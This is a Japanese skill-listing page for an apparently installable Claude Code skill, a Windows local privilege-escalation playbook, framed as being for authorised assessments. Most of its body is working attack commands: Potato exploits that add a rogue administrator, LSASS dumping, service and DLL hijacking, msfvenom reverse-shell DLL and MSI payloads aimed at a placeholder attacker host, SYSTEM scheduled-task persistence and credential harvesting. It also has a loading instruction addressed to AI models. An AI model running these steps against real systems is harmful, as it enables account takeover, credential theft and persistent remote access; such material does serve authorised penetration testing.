mcpField
W
windows-privilege-escalation

windows-privilege-escalation

github.com/yaklangセキュリティ2.6k3.6k 回インストール6 週間前に更新
リポジトリ

windows-privilege-escalation について

認可済みのセキュリティ評価向けに、Windowsのローカル権限昇格を扱うスキルです。システム調査に加え、トークン、サービス、DLL、タスク、レジストリ、名前付きパイプの手法とOSごとの制約をまとめています。

主な機能

  1. 01システムと権限の調査
  2. 02トークンとPotato系の手法
  3. 03サービス設定不備の確認
  4. 04DLLハイジャックのパターン
  5. 05タスクと自動起動の確認
  6. 06名前付きパイプの偽装

活用シーン

  1. 01Windowsの権限昇格経路の評価
  2. 02サービスとDLL設定のリスク確認
  3. 03OSバージョン別の手法選定
  4. 04タスクとレジストリ自動起動の監査

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/yaklang/hack-skills --skill windows-privilege-escalation

インストール後、Claude Code で/windows-privilege-escalationを入力して読み込まれたか確認します。

同梱ファイルTOKEN_POTATO_TRICKS.mdUAC_BYPASS_METHODS.md

詳細

スキル:Windows ローカル権限昇格 — エキスパート向け攻撃プレイブック

AI 読み込み指示:エキスパート向けの Windows 権限昇格テクニックです。トークン操作、Potato ファミリー、サービスの設定ミス、DLL ハイジャック、AlwaysInstallElevated、スケジュールされたタスクの悪用、レジストリの自動実行、名前付きパイプの偽装を扱います。ベースモデルでは、微妙な権限の前提条件や OS バージョン固有の制約を見落としがちです。

0. 関連するルーティング

詳しく調べる前に、以下の読み込みを検討してください。

高度なリファレンス

以下が必要な場合は、TOKEN_POTATO_TRICKS.md も読み込んでください。

  • Potato ファミリーの詳細な比較(JuicyPotato → GodPotato の進化)
  • OS バージョンに応じたエクスプロイトの選定
  • 各亜種に必要な権限とプロトコルの詳細

以下が必要な場合は、UAC_BYPASS_METHODS.md も読み込んでください。

  • UAC バイパス手法の一覧(fodhelper、eventvwr、sdclt など)
  • 自動昇格バイナリの悪用
  • 信頼されたディレクトリを偽装する手法

1. 列挙チェックリスト

システムコンテキスト
whoami /all                        & REM Current user, groups, privileges
systeminfo                         & REM OS version, hotfixes, architecture
hostname                           & REM Machine name
net user %USERNAME%                & REM Group memberships
トークンの権限(重要)
whoami /priv
権限権限昇格の手段
SeImpersonatePrivilegePotato ファミリーのエクスプロイト(§2)
SeAssignPrimaryTokenPrivilegeトークン操作、Potato の亜種
SeDebugPrivilegeLSASS のダンプ、SYSTEM プロセスへのインジェクション
SeBackupPrivilege任意のファイルの読み取り(SAM/SYSTEM/NTDS.dit)
SeRestorePrivilege任意のファイルの書き込み(DLL ハイジャック、サービスバイナリ)
SeTakeOwnershipPrivilege任意のオブジェクトの所有権の取得
SeLoadDriverPrivilege脆弱なカーネルドライバーの読み込み → カーネルエクスプロイト
サービスとスケジュールされたタスク
sc query state= all                & REM All services
wmic service get name,displayname,pathname,startmode | findstr /i "auto"
schtasks /query /fo LIST /v        & REM Verbose scheduled task list
インストール済みソフトウェアとパッチ
wmic product get name,version
wmic qfe list                      & REM Installed patches
ネットワークと認証情報
netstat -ano                       & REM Listening ports + PIDs
cmdkey /list                       & REM Stored credentials
dir C:\Users\*\AppData\Local\Microsoft\Credentials\*
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul

2. トークン操作とPotatoエクスプロイト

SeImpersonatePrivilege の悪用

サービスアカウント(IIS AppPool、MSSQL など)は通常、SeImpersonatePrivilege を持っています。これにより、提示された任意のトークンを偽装できます。

ツールOS のサポートプロトコル備考
JuicyPotatoWin7–Server2016COM/DCOM有効な CLSID が必要です。Server2019 以降ではパッチ適用済みです
RoguePotatoServer2019 以降OXID リゾルバーのリダイレクトポート 135 で制御可能なマシンが必要です
PrintSpooferWin10/Server2016-2019Print Spooler 経由の名前付きパイプ簡単で高速です。Spooler が実行中である必要があります
SweetPotato幅広く対応COM + Print + EFS複数の手法を組み合わせます
GodPotatoWin8–Server2022DCOM RPCSS最新のパッチが適用されたシステムでも動作します
# PrintSpoofer (simplest for modern systems)
PrintSpoofer64.exe -i -c "cmd /c whoami"

# GodPotato (broadest compatibility)
GodPotato.exe -cmd "cmd /c net user hacker P@ss123 /add && net localgroup administrators hacker /add"

# JuicyPotato (legacy systems)
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c whoami" -t * -c {CLSID}
SeDebugPrivilege の悪用
# Dump LSASS (if SeDebugPrivilege is enabled)
procdump -ma lsass.exe lsass.dmp

# Or migrate into a SYSTEM process
# Meterpreter: migrate to winlogon.exe / services.exe

3. サービスの設定ミス

引用符で囲まれていないサービスパス
# Find unquoted paths with spaces
wmic service get name,pathname,startmode | findstr /i /v "C:\Windows\\" | findstr /i /v """

パスが C:\Program Files\My App\service.exe の場合、Windows は以下の順に試します。

  1. C:\Program.exe
  2. C:\Program Files\My.exe
  3. C:\Program Files\My App\service.exe

最初に書き込み可能な場所に悪意のあるバイナリを配置します。

サービス権限の弱さ
# Check service ACL with accesschk (Sysinternals)
accesschk64.exe -wuvc * /accepteula
# Look for: SERVICE_CHANGE_CONFIG, SERVICE_ALL_ACCESS
# Reconfigure service to run attacker binary
sc config vuln_svc binpath= "C:\temp\rev.exe"
sc stop vuln_svc
sc start vuln_svc
書き込み可能なサービスバイナリ
# Check if current user can write to the service binary path
icacls "C:\Program Files\VulnApp\service.exe"
# (F) = Full, (M) = Modify, (W) = Write → replace binary

4. DLL ハイジャック

DLL の検索順序(標準)
  1. 実行ファイルのディレクトリ
  2. C:\Windows\System32
  3. C:\Windows\System
  4. C:\Windows
  5. 現在のディレクトリ
  6. %PATH% 内のディレクトリ
エクスプロイト
# Find missing DLLs (use Process Monitor)
# Filter: Result=NAME NOT FOUND, Path ends with .dll

# Compile malicious DLL
# msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f dll > evil.dll

# Place in writable directory that comes before the real DLL location
既知の欠落DLLの標的
アプリケーション欠落DLL配置先
各種 .NET アプリprofapi.dllアプリケーションディレクトリ
Windows サービスwlbsctrl.dll%PATH% 内の書き込み可能なディレクトリ
サードパーティ製アップデーターVERSION.dllアプリケーションディレクトリ

5. ALWAYSINSTALLELEVATED

# Check both registry keys — BOTH must be set to 1
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# Generate MSI payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f msi > evil.msi
msiexec /quiet /qn /i evil.msi

6. スケジュールされたタスクの悪用

# Enumerate tasks with writable scripts or missing binaries
schtasks /query /fo LIST /v | findstr /i "Task To Run\|Run As User\|Schedule Type"

# Check permissions on task binary
icacls "C:\path\to\task\binary.exe"

# If writable: replace binary, wait for task execution
# If missing: place your binary at the expected path
PowerShell を使用したスケジュールされたタスク
# If you can create tasks (unlikely from low priv, useful post-UAC-bypass)
$action = New-ScheduledTaskAction -Execute "C:\temp\rev.exe"
$trigger = New-ScheduledTaskTrigger -AtLogon
Register-ScheduledTask -TaskName "Updater" -Action $action -Trigger $trigger -User "SYSTEM"

7. レジストリ自動実行

# Check writable autorun locations
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

# Check permissions with accesschk
accesschk64.exe -wvu "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /accepteula

自動実行エントリが書き込み可能なパスを指している場合 → バイナリを置き換えるか、新しいエントリを挿入します。


8. 名前付きパイプの偽装

# Service account creates a named pipe, tricks a SYSTEM process into connecting
# The connecting client's token is then impersonated

# PrintSpoofer leverages this with the Print Spooler:
PrintSpoofer64.exe -i -c powershell.exe

カスタムの名前付きパイプサーバー(SeImpersonatePrivilege が必要です):

# Create pipe → coerce SYSTEM connection → ImpersonateNamedPipeClient() → SYSTEM token

9. 自動化ツール

ツール目的コマンド
winPEASWindows の包括的な列挙winPEASx64.exe
PowerUpサービス/DLL/レジストリの設定ミスをチェックInvoke-AllChecks
Seatbeltセキュリティに重点を置いたホスト調査Seatbelt.exe -group=all
SharpUpPowerUp のチェックを C# に移植したものSharpUp.exe audit
PrivescCheckPowerShell の権限昇格チェックツールInvoke-PrivescCheck
BeRoot一般的な設定ミスの検出ツールbeRoot.exe

10. 権限昇格の判断フロー

Low-privilege shell on Windows
│
├── whoami /priv → SeImpersonatePrivilege?
│   ├── Yes → Potato family (§2)
│   │   ├── Server2019+/Win11 → GodPotato or PrintSpoofer
│   │   ├── Server2016/Win10 → PrintSpoofer or SweetPotato
│   │   └── Older → JuicyPotato (need CLSID)
│   └── SeDebugPrivilege? → LSASS dump / process injection
│
├── Service misconfigurations?
│   ├── Unquoted path with spaces + writable dir? → binary plant (§3)
│   ├── SERVICE_CHANGE_CONFIG on service? → reconfigure binpath (§3)
│   └── Writable service binary? → replace executable (§3)
│
├── DLL hijacking opportunity?
│   ├── Missing DLL in search path? → plant malicious DLL (§4)
│   └── Writable directory in %PATH%? → DLL plant (§4)
│
├── AlwaysInstallElevated set?
│   └── Both HKLM+HKCU = 1 → MSI payload (§5)
│
├── Scheduled task abuse?
│   ├── Task runs as SYSTEM with writable binary? → replace (§6)
│   └── Task references missing binary? → plant binary (§6)
│
├── Registry autorun writable?
│   └── Writable binary path → replace on next login/reboot (§7)
│
├── UAC bypass needed? (medium integrity → high integrity)
│   └── Load UAC_BYPASS_METHODS.md
│
├── Stored credentials?
│   ├── cmdkey /list → runas /savecred
│   ├── Autologon in registry? → plaintext creds
│   └── WiFi passwords, browser creds, DPAPI
│
└── None of the above?
    ├── Run winPEAS for comprehensive scan
    ├── Check internal services (netstat -ano)
    ├── Look for sensitive files (unattend.xml, web.config, *.config)
    └── Check for kernel exploits (systeminfo → Windows Exploit Suggester)

コメント